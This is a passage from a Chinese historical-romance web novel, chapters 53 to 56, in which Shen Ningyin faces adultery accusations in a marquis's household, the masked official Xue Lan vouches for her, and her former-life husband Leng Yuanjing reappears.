“我看侯夫人说得是。”
“侍郎府真真是家门不幸啊。沈夫人，可千万要节哀。”
各种各样的低语从周遭飘到了沈宁音的耳朵里。
不大不小的，偏正好叫沈宁音能听着。
人不外如是，若然一人得势，尽都巴不得上赶着去巴结，就好比现在的沈弦思，满脸春风得意，连高高在上的侯夫人闵氏、还有那出身名门的大少夫人周婉，都众星拱月般抬举着她，哄着她，夸着各种不要银子的漂亮话。
而当一人四面楚歌，再翻不了身时，那么所有人都会后悔将才没能早早附和了上头人、失了先机，又都争前恐后要上来踩一脚。就好比如今的
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沈宁音。
沈宁音浑不在意恶言，她前世可听多了。
但她委实也拿捏不准，沈宁音的目光越过几人，直看向薛岚。心下不禁一沉。
她突然就想到，薛岚是打死不会认什么劳什子妹妹，可他是薛督公的干儿子，他老子都认了，薛岚还能不认？
所以，他在春阙街救自己，替自己疗伤，也不过是猫儿捉了雀儿，逗弄一番？
沈宁音手指攥紧了衣袖，脑海中闪过了许冠生的脸，心下泛着凉。
她怎么给忘了——自己与薛岚之间还横亘着一个许冠生呢，他定是恨毒自己，今日又岂会好心来帮忙？
沈宁音闭了闭眼。
若说先前她心里应对侯府众人还有数，那么现在再加上个薛岚，只怕今日要吃大亏。
沈宁音不知道，当她垂下眼眸时，薛岚正好看着她，目光幽邃。
彼时沈夫人已经拉着沈弦思的手绕到薛岚身前。
皇城司番子们将才听闻薛督公的大名，又见薛岚没什么表示，便也没有拦阻。
这显然更助长了沈弦思的气焰，她得意又凶狠地剜了沈宁音一眼。
沈夫人笑着提醒道：“思儿，屋里都是自家人，也不算乱了规矩，还不快喊人？”
沈弦思娇娇软弱地上前去，有些羞意地福了福身：“薛岚哥哥。”
薛岚不适地凝眉，耳边这声音不像是平日里惯使的，更像是夹着嗓子矫揉出来的，听得他膈应。
沈宁音心底又沉了沉，沈弦思素来是个骄纵的性子，今日难得放小了声量，听起来怯生生的，搭配上她水灵灵的一双杏眼，委实正是男人们会偏爱的那一类。
她私以为，薛岚便是不喜欢，多少也不会拂了脸面才是。那可是女子，也不是个犯人。
那知沈弦思话音刚落，薛岚就一把将绣春刀刀鞘抵在女子心口，戳得她惊呼了一声。
“本官可没有什么妹妹。”薛岚面具下的眉头皱紧了，声音也染着冰。
“再乱喊，把你舌头割下来。”
这话听得薛岚背后的亲信眼睛都瞪大了，主子从来惜字如金，今儿难得从那张金口里头蹦出来那么多字，那是相当厌恶了。
薛岚性子冷，手里的绣春刀更冷。
沈弦思惊叫了一声狼狈地躲回了沈夫人身后，惨白着唇瓣浑身抖个不停。
若旁人说这么一句，有可能是吓唬人。倘使这人叫薛岚，那么对不起，他真干过挺多割人喉舌之事来。
周遭的议论声哑然而止，惊惶不安的氛围充斥在空气里。
“薛使司！”昌平侯皱眉。
沈夫人与沈弦思是侯府客人，薛岚话都到这份儿上，昌平侯硬着头皮也得管了。
只是薛岚将浑身的煞气一收：“本官非来办差。”
薛岚没有多说，沈宁音望过去的时候，他目不斜视，竟缓步走到上首，也不等昌平侯招呼着，他一抬袍摆自顾自落了座。
“侯府既有事，你们继续。”薛岚眼都没抬。
53. 撑腰
侯府几个人对视，凭谁也没敢松口气。
薛岚凶名在外，即便什么也不说、只坐在那儿，就有足够的压迫感。
起先旁人一听沈夫人与沈弦思的话，还以为他是来给沈家撑场面的，但他对沈弦思也是不假辞色。
而现在，能与沈家有关的，唯有沈宁音一人……
众人不约而同看了过去。
“去上茶。”沉默中，沈宁音先开了口。
离得最近的是陶妈妈。陶妈妈乃闵氏亲信，乍一被点到，她几乎是本能地应声，等快走到门口了，才想起自个儿的正经主子来。陶妈妈慌忙看了过去。
闵氏的脸尴尬又阴沉，上首那人她惹不起，再说了，原就够惹人注意了，现下那婆子一步三回头的看着自己，闵氏更觉丢份儿：“看什么？还不快去？！”
陶妈妈如蒙大赦，跌跌撞撞地下去了。
茶很快就端了来，小丫鬟哆哆嗦嗦的，吓得不轻，沈宁音看了一眼，伸手接过去，将茶摆在了薛岚的跟前：“大人请用。”
这原是不合规矩的，沈宁音也知道。此刻秦耀阳的目光里都写满了震惊，周遭众人的眼神也很不好看。
但这会儿沈宁音可不在乎，这些人不敢做的，她来做，放不下身段的，她来放。
就算一厢情愿，她也得试上一试。
这世上，该借的势，要借，借不上，也要努力一把，如此，才不枉费了任何的机会。
彼时堂屋里还没烧上炭盆，穿堂风一刮，就冷飕飕的。
步步锦的窗格子遮了外头的天光，薛衙内就坐在阴影里头，连带着他的眸色都显得愈发阴沉。
沈宁音原就没抱着希冀，这会儿也不失落。
随着她的后退，被遮挡住的淡淡明光照射进来，在金属面具上留下微亮的光晕。而男人面具下的眼眸依旧似雪原上的涵洞，无端地冰冷渗人。
沈宁音看见薛岚搁在扶手上的手掌缓缓捏紧了，她便敛衽垂眸，料想着那人是要发作她了。
薛岚对沈弦思都这般凶狠，对自己这个他动过杀心的，怕不是更该泼茶摔碗？
就在她这般想着的时候，预料中的乖戾场景却并未发生。
沈宁音稍稍抬眸，就瞧着将才神色暗沉的男人端起茶水来，男人骨节分明的手指捏着青花瓷茶盖子，轻拨浮沫，紧接着……掀开了面具。
沈宁音眼角抽了抽，一股子羞臊的热意从脖颈往下方弥漫开去。是了……她怎么忘了他戴着面具？
薛岚的面具是一整个儿的，并不似当初那半片般，他如今想喝茶，就得将其往上掀开些。
她怎么敢给他上茶的？
男人一本正经从面具下喝茶的模样委实有些难绷。偏没人敢笑。
薛岚放下茶盏时，他的态度，无疑叫众人都瞧得明白了。
“大人莫不是来替沈宁音撑腰的？”沈夫人神色复杂地睃了一眼沈宁音。现如今她不疼的女儿，竟得了旁人的青眼，甚至此时此刻越过了她这个做母亲的去。
薛岚只看了她一眼：“有何不可？”
的确，有了沈夫人先前那一番沈家与薛督公的说辞，似乎也不是不行。
“薛大人！我也是沈家女儿！”沈弦思不敢再喊兄长，只委屈得眼圈泛红，眸中氤氲着雾蒙蒙的泪花，她指着沈宁音的鼻子：“凭什么你这般厚此薄彼！你知不知道她是……”
关键时刻，沈夫人眼疾手快拉了她一把。
还好这次及时了，否则沈宁音是假千金这等不可放到明面儿上的东西就要漏出来了。
沈侍郎说不得能休了她去！
沈弦思是给人宠惯了的，阮家除了她只有三个兄长，最是疼她这个幼妹，而沈家，因为十五年的亏欠，沈侍郎偏爱她，年老色衰的沈夫人就一味地迎合。
说到底，她从小到大，都习惯了别人的好，她学不会看人脸色。
刚刚还那么多人围着她身边，就连世家妇，连秦耀阳的母亲都夸着她。
可突然间，怎么什么都变了？
这会儿，沈夫人也顾不上其他了，黑着脸色死死拉住沈弦思往外走，边走边对昌平侯与闵氏道：“亲家，今儿我们母女只是路过，既然有家务事，那妾身与小女就先告辞了。”
沈弦思不想走，她不甘心，可沈夫人下了死命令，跟着来的仆婢连忙拉着她远去。
可叹她先前得势有多么猖狂，如今便更有多么狼狈。
沈宁音从屏风处收回目光，这会儿，屋子里又开始嘈杂起来。
薛岚面具下的眉宇轻蹙，抬眼：“呱噪。”
是又低又沉的声音，但那群佩刀的番子闻言，当下就开始清场。
直把那些个伺候在侧的丫鬟仆妇统统都撵到了门外去。
屏风抬开，露出后头关严实的大门。
留下的人里，最显眼的就是周婉，她原打算跟着丫鬟婆子一并退出去的，偏闵氏胆小，拉着她不放，还小声安抚她莫怕。
周婉想走、又不好强行挣脱，苍白的脸庞就更白了。
一旁的秦耀阳见状，只以为她是给皇城司的人、给薛岚吓到了，慌忙走过去小声关切。
薛岚不动声色看了沈宁音一眼，发现女人的目光一瞬不瞬正望向那二人。
他便轻咳了一声：“先前不是有事？你们继续。”
“这……”闵氏原是要处置沈宁音的，这会儿反倒不好说话了。只将目光看向昌平侯。
“薛使司，这是本侯的家事。”昌平侯还算硬气。但他话音刚落，薛岚便道：“也得有规有矩。”
昌平侯没料想自个儿都说得那么明白了，上首的这位依旧如此没脸没皮，硬要掺和。
可没办法，皇城司监察百官，薛岩作为督主，权柄比他这个掌军权的大多了。甚至就连眼前这位薛家干儿子薛岚，若得了圣人重用，都可能给派去军中做监军。
“放心，本官不会干涉。”
薛岚这句话原是对昌平侯说的，可他的眼睛却是看着沈宁音。
说到底，沈宁音也不过是与他有过合作罢了，还得罪过他，沈宁音明白自个儿的地位。
但她也不必仗着薛岚的势力去以势压人。
恰好，外头一阵说话声起，正好老夫人从打开的大门
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走了进来。
一见她来，秦耀阳便也有了底气，连忙上前去扶着她，秦耀阳的眼睛有些红：“祖母！”
一旁的周婉这回是破天荒没敢上前去。
老夫人看过去的时候，她眼神闪躲，手指不安地揪着裙裾。
老夫人一时没有多过问周婉，只抬手拍了拍秦耀阳的手背安抚。
她一来沈宁音没有犹豫，也朝着老夫人去。可还没走到，秦耀阳侧身一拦，态度极差。
老夫人登时脸色就又几分沉、苍老的脸上不见半分笑，但这会儿薛岚还在，其他事情便要往后稍稍。
“薛使司三顾我昌平侯府，这次又领着这么多人，莫非又是来抄家的？”老夫人的话很不客气，带着质问。
薛岚此刻已经起身，闻言却是轻飘飘地摩挲着刀柄：“不是。”他再次表明立场：“本官说了，不会插手。”
老夫人也知多说无益，此人怕也懒怠回避，她只冷哼了一声：“最好如此。你若没有圣人的御令，老身亦不会怕了你去！”
她一步步走到上首落了座。薛岚就自顾自坐在了另一边。
老夫人遂将目光落在了沈宁音脸上：“怎么个事儿？”
沈宁音没有怠慢，只将真香挑着能说的，都说了一遍。说到后头，也红了眼圈，拿帕子擦泪。
老夫人越听，眉头皱得越紧。
沈宁音最后泣不成声道：“宁音所言，句句属实，先前，婆母公爹未经审问查证便要叫我认错，还请祖母替我做主！”
“这……”昌平侯听完，脸上已经有点挂不住，忙把目光看向闵氏，那眼神，已经隐约有几分问责之意。
闵氏哪里肯认，当下大声喊冤：“分明是亲家那边替她认下的！她红杏出墙的事儿，也是她妹妹亲见！是沈氏嘴硬！死不悔改！还想蒙混过关！”
闵氏冲着沈宁音恼怒大喊：“如今当着昭儿祖母的面，你还不肯说真话！我看你真是不见棺材不掉泪！”
周婉瞧着祖母越来越黑的脸色，她心下惊慌，连忙去拉着闵氏，但显然已经迟了。
“荒唐！”老夫人脸色铁青，拍案而起。若非有外人在此，她真想重重敲一敲这儿媳妇的脑袋。
老夫人胸膛起伏，方嬷嬷上前给顺着背，这才稍稍缓过来：“你这不成器的！”
“我……”闵氏震惊里带着不解。
“旁人说什么就是什么？可有证据？！”老夫人没说的是，便真有此事，也都该关起门来自家论处。这起子小辈真真叫她省不得半点心。
“自然是有的。”闵氏慌乱里看了眼周婉，结结巴巴开口：“寒山寺那件事，那位沈家女娘和侍郎夫人就是证人……还有，还有这次，奸夫就关在柴房里头！”
闵氏话说完，又有了些底气。
老夫人冷冷的目光看了看沈宁音：“当真？”
“千真万确！”闵氏点头，看向沈宁音的目光就好似她已经成了侯府弃妇。
老夫人的目光登时落在了沈宁音身上。
沈宁音不慌不忙：“那，婆母可知，我妹妹所言的，那位寒山寺的奸夫是谁？”
54. 是我
“你竟有脸说？！”秦耀阳气得紧了，也得亏闵氏与周婉拉着他。
“放手！你们放开我！”
一时间闹腾起来了。
沈宁音惊呼一声连退了两步，身子故意撞在了桌角。她眼泪一下子掉了下来，掩面哭泣。
眼角余光里薛岚不动如山，依旧坐在那里。这正如沈宁音预料。
此时此刻，沈宁音该解释的也都解释了，她自个儿再讲，就显得刻意了些。
恰这两件事儿，皆与薛岚有关，由他找个人出来做个证，也不算扯谎，却比什么都顶用。
沈宁音正盘算着——
“是我。”男人却突然站了起来。
薛岚素来不苟言笑，所言所讲，都显得极为认真，此话一出，就好似那年末的炮仗，直轰得沈宁音脑瓜子嗡嗡的，她整个人懵在原地。
将才还闹腾拉扯的堂屋一时间鸦雀无声，所有人都震惊地看向薛岚。
沈宁音低着头，惊得心中擂鼓。天地良心，她只是稍许点一点他，巴望他肯找个认证出来走一走过场。
皇城司那么多的番子，哪里就要他自个儿顶出来了！
薛岚生得高大，因着常年习武，站得近了，那骨子沉重遒劲的血气隔着布料几乎都透出很绝的力量感。
偏这样的人，身上却有着儒雅端方的松竹香。
连做事儿都这边直。
“怎么？不信？”薛岚理了理袖子，手指轻轻压在刀柄上。
他环视四周，终于消停了。
沈宁音回到祁秀院时，天色已经偏暗。
兰香看她浑身都在发抖，连忙上库房讨炭火去。这会儿染竹不在，屋子一时便空了。
门一合，薛岚转眸看向流泪的沈宁音，语气是一如既往的冰冷：“没别人了。”
他提醒完，将将还红着眼睛因着被婆家误会、欺负而落泪的小女子抬起了脸。
沈宁音的目光看向男人，冰凉的指腹擦拭眼下，眼泪说收便收了。
“你来做甚？”她问着，与此同时，紧张的情绪之后，忍在胸臆里的疲惫深沉袭来。
薛岚面具上露出的眼瞳带着几分为不可见的情绪，语气是一贯的淡：“解围。”
也是，沈宁音想，自个儿还有用，人也是要活着，才能被利用吧。只是，她不喜欢。
“不需要。”沈宁音低眸：“便没有你，我也应付得来。”
她说的是事实。
男人有男人的解决方式，掌权之人，自可以以势压人。可她也有自己的手段，蒲苇韧如丝，前世步步为营，也有的是法子叫别人知难而退。
这些话，沈宁音没有宣之于口，但薛岚看了她一眼，却也明白她的意思。
“如你所言，那亦是我的事。”他说。
沈宁音听了他这话，一时竟也无从反驳。
刚刚在堂屋时，薛岚一开口，便再没了人敢辱骂沈宁音一二，谁能当着正主的面儿再去质疑沈宁音与他的清白？
昭王与清河郡主当时也在场，稍一询问便知。且皇城司里头他本也早做好了不在场证明。
可，薛岚不是寻常人啊。
哪怕他身子健硕，可他不是个阉人么？
他自个儿站出来指证，几乎算是自揭伤疤了。
沈宁音前世就听闻，阉人最在意这个，至少在方才那样的场合，众人的第一反应，便是他阉人的身份。
因为他是阉人，没有了世俗的欲，哪里能坏人清白？
也因为他是阉人，所以便真有此事，也不会丢了脸面。
沈宁音心里头有种不知所起的生气。
一时间，她沉默下来。
“回头，我定会叫她们去查清楚。”沈宁音突然抬头道。
她这没头没尾的话，让薛岚有些惊诧：“不必。”
“要的。”沈宁音说得斩钉截铁。
空气一时更沉默了。
还好，兰香脚程快，端着炭火已经进来了。
等烧好了炭盆，门外便有皇城司番子引进来一人，沈宁音见是柳郎中，连忙站起身来。
依着时间，柳郎中这会儿能来，想必是早就叫人去请了的。
沈宁音看向薛岚的目光顿时就有几分复杂。
薛岚让开了位置往外头去，回头时，见沈宁音看过来，他便住了步。
这样的距离刚刚好，不算近，不至于叫她紧张，也没太远，习武之人耳力好，恰能听着郎中诊脉。
“脉搏无力，浮虚似絮。是气虚血弱”柳郎中抬眼：“听闻你受了伤？伤在哪儿？老夫人看看。”
沈宁音有些心乱，眼角余光下意识瞥向门口那人，脑子里没来由想起先前与那人在屋中裹伤之事，当时还不太觉着。
这会儿脸上、脖颈处仿佛蔓延起热意来，愈发地不自在。
她摸了摸脖颈：“哦……”微侧过身，抬起了受伤的胳膊任由柳郎中诊伤。
伤口在先前的拉拽里头渗了血，沈宁音也还没来得及看。
“这手法不错啊。”
冷不丁的，沈宁音听着了柳郎中的夸赞，她下意识地转头看向伤口。
先前她醒过来的时候，伤口就已包好了，那时沈宁音本打算等回了府邸再松开来瞧瞧的。若然实在不像话，她打算自个儿重新缝。
柳郎中医术是好，但论起伤口打理，沈宁音更自信些。
但柳郎中眼界极高，能叫他夸赞的，本就不同寻常。
“都沁出血来缝线也不曾散开。”柳郎中简单处置了下伤口，又嘱咐她派人去拿祛疤的药膏，这才问起是谁缝的。
沈宁音心底有几分尴尬，略说了几句敷衍过去。
她是真没料到薛岚真会缝伤，谁能料到，一个擅长缝尸的人能有这等手法？
等把柳郎中送走，薛岚还站在那。
这会儿，沈宁音已经冷静了不少，她整理了一下衣袂：“天色不早，薛大人还有事？”
薛岚抄着手看她，也没走：“还装？”
沈宁音刚想皱眉反问，就听见门外传来脚步声。
她心下顿时提了起来。
昌平侯府再忌惮薛岩，却也不能忍着他薛衙内赖着内宅家眷的院子不走的。于理不合不说，也影响她的声誉。
沈宁音正思忖将人藏在哪儿。
却听一个清亮的童
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音在外头有模有样：“薛叔。我可以进来么？”
意识到是南烛，沈宁音这才大大松了口气。
南烛虽询问过了，可也没经过里头同意便推门进来。
兰香就跟在他后头，开着的门外还跟着个无奈的春渠。
沈宁音看见春渠还颇有些纳罕，没料想这小大人还挺有本事，连春渠都制不住他。
兰香一脸无奈：“对不起，少夫人，南小公子他……”
薛岚垂着眼眸与南烛四目相对。
沈宁音便挥了挥手，冲兰香小声吩咐：“咱们先出去。”
等出了门子，冷风一灌，沈宁音终于清醒了——里头烧着银丝炭，暖和得紧，那可是自个儿的屋子，她凭什么让出来？
可她手刚搭上门扉，沈宁音又有些后悔。
兰香见了，犹犹豫豫：“要不，奴婢让薛大人与南小公子换个地儿说话？”
“不必了。”沈宁音松开了手。
她话才刚刚从嘴巴里讲出去，这立马推门回头，委实有些太不好看，咬了咬牙：“你去灌几个汤婆子来。”
祁秀院常年备着热水，汤婆子倒也方便，沈宁音抱着暖呼呼的汤婆子，这才感觉活了过来。
她闭了闭眼，依旧觉着冷，怀里暖和，总有地方是冷的。沈宁音又着实不放心旁人来守，唯恐叫薛岚把南烛给带走。
她得亲自看顾着。
过了良久，门才开了，沈宁音只觉得眼皮重得很，强打起精神，拉过南烛的手。
小男孩儿分外乖觉，她一牵，他便靠了过去，就站在她手边。
而这一切，薛岚只看着，没开腔。
等沈宁音看过去时，他才双手抱臂，冷冷道：“他胡闹，你一个大人，也跟着胡闹？”
“……”沈宁音也知道南烛的身份，一时无言反驳，顺手把孩子拉到身后，捏了捏孩子的手掌，半晌，才用苍白的嘴唇干巴巴地说：“我很小心的。”
薛岚面具下的薄唇张了张，一时间只觉脸上的伤口又痒起来，他握紧了手，手背上青筋冒出来。
沈宁音低着头没敢说话，她素来观察细致，自然也瞧见了他的异常，不过她也只以为男人是气的。
薛岚松开手臂，将手掌背到身后：“罢了。”他看了眼南烛：“烛哥儿留下吧。”
沈宁音有些意外地抬眼看过去，薛岚已经转身往外头走，一面走，一面用最冷的声音说：“一切有我。”
好半晌，她感觉手臂被晃了晃：“少夫人，薛叔走远了。”
“……”沈宁音有些无语，低头看着那南烛。
小孩儿难得笑了笑，很腼腆，眼睛却是弯弯的：“我冷。”
沈宁音随手将汤婆子塞了一只到他手里，又觉着不够暖和，于是吩咐兰香去重新灌了几个。
“少夫人多给几个，柴房漏风。”南烛抿着唇，一双水汪汪的眼睛不光会说话，还会撒娇。
沈宁音都给气笑了，拉着他手，蹲下道：“谁说要叫你睡柴房了？”
“赶明儿你那冰块儿一般的薛叔怕是要把我这院子掀了？”
南烛歪着头想了想，表情认真：“他不敢的。”
55. 两夫
沈宁音思忖，皇城司的能耐到底是大的。
染竹的消息第二日便递到了沈宁音的跟前儿，说是找着了。
沈宁音听说来的不是薛岚，她倒也没觉得什么，毕竟薛岚如今在皇城司举足轻重，哪里能日日得空来管她的事？
只是沈宁音没想到的是，一大早送染竹回来的甚至都不是皇城司的番子。
她行至客厅，方到门口，就瞧见那半敞开的牖窗边围满了娇羞的小丫鬟，一个个的议论纷纷，还时不时有人低声地笑。
“也不知是哪家的公子，如此清俊。”
“你瞧那玉坠子，必也是殷实人家……”
丫鬟们窃窃私语，一个个窥得粉面桃腮。
忽见人来，丫鬟们俱都吓得散开，一个个白着脸低着头生怕吃了挂落。
沈宁音只作没听见，并未责怪。
她掌过家，也见过后宅手段，深知道，权贵家的下人不好做。卖身契捏在人手里，随意发落、打死都有的。
沈宁音自己也是苦过来的，犯不着因为这点事儿为难人。
而且，侯府里头闵氏是个泼辣的，再加上秦耀阳前头那位已故大郎在世的时候也争气，昌平侯屋里的几房姨娘都给打发了。连那已经出嫁的庶女也是死了生母的。再加上昌平侯年岁大，这些人被女主子压得死死，半点风吹草动都能要命。
而年轻一代的秦耀阳又闹了荒唐，松鹤堂那边就更看得严些。如今冷不丁来个俊俏的小差役，她们又岂能不心襟荡漾的？
沈宁音弯了弯嘴角，径直走了进去。
侯府的丫头们见惯了秦耀阳这等容色，眼界定会高些。沈宁音倒是有些好奇这来的人会是什么好模样？
可谁知，她甫一跨进门槛，迎面撞上的，竟是一双久违的眼。
男人眼眸温润，有着江南水乡将养出来的婉约，亦有着读书人特有的儒雅。
沈宁音心情复杂，嘴角的笑意逐渐消失，眼瞳有些恍惚，还有些不敢认。她缓缓攥紧了袖中的帕子。
前世时的初见，原是在新婚洞房，从那时起，冷元景就没给过她半分好脸。
沈宁音是背着污名嫁过去的，是上京沈家的弃子，是阮家不要的女儿，无妨如何磋磨，也不会有人撑腰。
见她进门，男人略抬衣摆起身。相同的眉眼，截然不同的态度。
“二少夫人。”冷元景规规矩矩行礼，眸中甚至闪过一抹惊艳。
原来，没有了前世种种牵绊，他也有这般客气的时候。
即便前世他花的用的，甚至连那蓄养姬妾、寻欢作乐的银子，每一分都是沈宁音给的，这男人也一辈子没对沈宁音有过这样的眼神。
沈宁音款款走到上首落了座，抬眸看他。
今生的自己，不是他冷元景有名无实的妻，而是他高攀不起的贵妇，侯门嫡妻、昌平侯府正经的少夫人。
沈宁音没有理会他眼睛里灼灼亮色，先是吩咐人上茶，紧接着转身冲一旁的下人蹙眉：“管妈妈，你怎么做事的？既有男客，合该去回你们二爷，来回我作甚？”
掌着门房的管妈妈原本听那姓冷的说送了染竹回来，想见见二少夫人，她想着二少夫人新掌家，这姓冷的讨了赏赐，二少夫人一高兴，说不准也给自个儿漏些赏，还能混个脸儿熟。可谁知马屁拍到了马腿上。
管妈妈立马惶恐，一脸难色，看向冷元景的目光也没了先前的客气，慌忙道：“是奴婢的疏漏，只是二爷往日这会子也不在府邸，所以……”管妈妈说这个话时，也是心虚。
冷元景堪堪愣住，他难得略有局促，好一会儿才道：“是在下不好，在下只顾着送染竹姑娘回侯府，竟没凑着好时辰。”
沈宁音那句话也并非当真责备管妈妈，对秦耀阳在不在府里也不甚在意。按着理讲，染竹是祁秀院的人，沈宁音又掌着家，管妈妈找谁主事都可以，同样也可以来找她沈宁音。
她就是要表明一个态度，叫门房的人知晓，往后这人再来，就不必来回自己了。如此，还能得个稳重的贤名。
听了冷元景以退为进的话，沈宁音脸上波澜不惊，以彼之道还施彼身：“原是我招呼不周，公子何错之有？是妾身的不是。”
冷元景有些目瞪口呆，没料到她竟装不认得自己：“少夫人可还记得……”沈宁音没给他旁的机会，抬手去兰香袖子里拿银票，打断道：“这里有些银两。”
染竹失踪原是因着薛岚的事儿，但即便如此，该给皇城司的差旅费还是不能省的。来这儿之前沈宁音嘱咐兰香多带了几张。
都是十两一张的，还有些散碎银子，预备着来的人多，另给的打赏。
可如今来的是冷元景，沈宁音倒也省了。
但就算不顾着侯府的体面，也不能叫祁秀院的下人们寒了心。
沈宁音从十来张里头抽了两张。一张五两、一张十两。想了想，她又把那张十两的塞了回去。
正要吩咐兰香把银子递给冷元景。门口传来请安的声音。
“二爷来了。”
沈宁音与冷元景举目望过去时，秦耀阳正好走进来。
他呼吸有些急促，任谁都看得出来他将才走得急切。
秦耀阳匀了下气息，提步走到沈宁音身侧。他看了一眼冷元景，又小心翼翼看了看沈宁音。
沈宁音今儿一早就听守夜的丫鬟说，说二爷昨儿半夜来过，盘桓一阵又走了。兰香还特特打听了，秦耀阳晚上照旧是在祁秀院旁边儿的跨院歇下的，连他素日爱去的小书房都没呆。
“宁音，这是谁啊？”与从前质问的语气不尽相同，秦耀阳虽有些急切，但放低了声气儿，仿佛怕吓着妻子似的。
他是再不敢胡乱怀疑妻子了。昨儿刚给气着，还没消气呢。秦耀阳这一整天都不敢出门儿，生怕自个儿不知道的时候沈宁音再上什么寒山寺去。
男人总会在做了亏心事的时候自以为旁人能懂地哄着人。以为语调温柔些，表情深情些。妻子就该什么气儿都消下去。
沈宁音懂他的意思，但偏不上道。
沈宁音扬起个疏离的笑：“妾身不认得，世子想知道不若自己问问？”
秦耀阳闹了个没趣儿，尤其还当着人的面，而另一边，冷元景也有几分尴尬。
春阙街的事儿因着太乱，在场的，也只有沈宁音与冷元景知道。沈宁音不认，冷元景也没脸去提，一来吃相难看，莫说攀上交情，怕是要被人厌弃了。
冷元景拱手自我介绍，又略提了一下送染竹回来之事。
秦耀阳听到染竹，略点了点头。
“冷四公子既然是姑苏人，如今也不是科举年，到上京做什么？”
冷元景虽薄情，却也能听出眼前矜贵世子言语中的一丝防备，他忙作羞赧状：“家中给在下订了门亲事，此来上京，是准备接亲。”
秦耀阳一听他要娶亲，神色略松，脸上带了点笑：“哦？冷兄要娶的是哪家的女娘？”
沈宁音也不知是不是错觉，她总觉着那冷元景看了自己一眼。
少倾，她听着那人缓声道：“正是沈侍郎家的
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嫡女。”
听了这，秦耀阳惊讶地看了眼沈宁音：“这世上怎会有如此凑巧之事？拙荆也恰是沈家女。”
“当真？”冷元景看起来分外惊喜。
可沈宁音哪怕前世不与他同床共枕，生活了那么多年，却也因着他的喜怒无常对其分外了解。
冷元景绝不可能不知情。甚至沈宁音怀疑在春阙街的时候，他一早就盯上了自己那一驾马车。
他认得染竹是自己的丫鬟！
否则，世上哪有做好事只逮着同一家子做的道理？
秦耀阳却没这么多提防，竟与那冷元景聊了起来。
沈宁音左看右看皆不顺眼，听了没一会儿就站起了身：“染竹，还愣着做什么？走。”
“走哪儿去？”秦耀阳见她要走，连忙起身走到沈宁音身侧，男人的目光温柔，带着关切。
沈宁音没看他，敛衽低眉，一派柔顺：“这儿有世子做主，妾身就先回避了。”
“不用的。”秦耀阳抬手握住她的手腕：“冷兄弟是你妹夫，哪里用得着回避？”
秦耀阳蹲了一整日才得着机会见她，哪里肯放过机会。为表诚意忙道：“宁音，你方才不是要给银子谢冷兄弟么？你不必给，我替你给了。”
沈宁音顿觉不对，还没来得及开口，秦耀阳已经冲门口吩咐：“长风，去拿五百两来。”
“……”沈宁音心情顿时十分复杂。
冷元景在冷家资源并不太好。连个十两银子都不会觉着少。以他爱钻营的性子，来一趟上京，怕是为了结交朋友，积蓄都要花的差不多了。
十两银子他都不会觉着少，更遑论五百两？
沈宁音的确不想叫秦耀阳舒坦，却更不愿冷元景得了畅快。
趁着秦耀阳去送客，沈宁音转身便回了祁秀院。
她心里气得很，若非要个贤良的名声，沈宁音都想往院儿门挂上个“秦耀阳与犬不得入内”！
秦耀阳送走了冷元景，自觉得在未来妹夫跟前儿给足了妻子面子，这会儿眉梢眼角都挂着得意，要找沈宁音讨句夸赞。
结果一到了祁秀院，却发现大白天的，大门紧闭。
“宁音！你开开门？”
“宁音！”
秦耀阳拍了半天门，揉着发红的手掌，觉得莫名其妙：“她怎么还没消气？”
“世子别敲了，少夫人想必不会开门的。”长随都比他懂些。
秦耀阳一时又觉着委屈：“那陈守岳不是也给狠狠打了一顿，鼻青脸肿的，都站不起来了，是抬去青衣胡同的。这还不算给她出了气？”
“奴才倒觉着少夫人越发生气了呢？”长随挠了挠头。
“她凭什么？”秦耀阳搞不明白。
祁秀院内，南烛推开窗子朝外头看，心里吁了口气，可终于消停了。
他转头看向里头的沈宁音：“少夫人，外头人大约是走了，您可别气了。”
沈宁音脸上挂着笑，笑容倾国倾城：“我有在生气？”
小孩子最敏锐，南烛本能地瑟缩了一下，没敢搭腔。他原是来蹭些火的，这会儿也不敢蹭了，麻溜地想回房。
“站住。”沈宁音铁锥一般的声音从身后凿了过来，南烛僵在那，动也不敢擅动。
他回头，扯了扯嘴角：“嗯，少夫人，您说。”南烛都有些后悔自告奋勇来报恩当肉票了。
沈宁音抬眸：“替我写封信。”
“啊？”南烛怀疑自己听岔了：“写信？”
“写给你薛叔。”
56. 密会
沈宁音猜得不错，南烛是识字的，大家族的儿郎开蒙早，许家落难前也不是小户。可他摆开架势真下笔，那一笔方方正正的字倒是叫人侧目。
又在心中叹息了一下命运不公，沈宁音想，这样好的苗子，注定不能科举，亦无法出仕，他要一辈子躲在阴影里，见不得光。
沈宁音将信叠好拿火漆封上，便着人送去梧桐街。
染竹既已回来，南烛也得叫人来接，旁人沈宁音不放心，必得叫薛岚来安排才好。
只是在信上，她也略提了一下冷元景。沈宁音怎么都不能叫他好过。
沈宁音也不必说得太细，冷元景多了一笔银钱，又手执圣德通宝，明显与薛岚手底下的势力有关。夺了那些银钱，薛岚有的是法子。
日头正当空。
晌午时分的上京，秋高气爽的，连日阴雨肆虐后，难得一个好天气，街上人群熙攘，分外热闹。
上京城一处酒肆内、二楼雅间，里头的气氛尤其热烈。
一群男子围坐在饭桌旁，众星拱月般，将冷元景簇拥在上位。
“真的假的？冷兄弟竟然是侯府世子的连襟？”
“我记得元景兄不是将将从姑苏来上京的么？没想到这么有本事！是小的有眼不识泰山了。”
“哎呀，我就说冷兄弟眉眼贵气，一看就不是池中物。偏当时兄弟我眼高于顶，得罪一二，我现在就自罚三杯，不，十杯，给冷兄弟赔罪！”
冷元景此来上京，因着银钱不多，结交的，都是些地位不显的人，这样的人天生的墙头草，最是会逢迎拍马，现如今，一群人各个都上赶着讨好他。
此刻的冷元景再老成，也还只是个十六七岁的青葱少年，听了这些话，多少也有些飘飘然。
但也偏有些个知晓他家门楣、心气儿高、不捧场的。
“我就不信了。”那人斜眼打量冷元景：“我可是听说了，昌平侯府的少夫人，那可是侍郎府的嫡小姐，凭你一个姑苏来的穷秀才，也配娶侍郎家的姑娘？”
经这人一说，酒局登时就冷了下来，众人面面相觑，尤其与那人交好的几个人一时间也往旁边挪了些。
冷元景心中恼怒，攥紧了手，脱口道：“这有何假的？我身上的银票可都是秦世子给的！我还救过侯府那位少夫人的性命。”
他要去掏张银票佐证，却怎料那人嗤笑一声站起来：“不必了。就你这样的人家，侍郎府那样的高门，岂肯嫁女过去随你吃苦？指不定哪日就退了亲事呢。做甚白日梦？”
那人的话犹如一盆凉水，直浇得冷元景将将烫上去的热血凉了个透。
余下的那些酒肉朋友便是如此，热络起来轻易，人走茶凉也快。
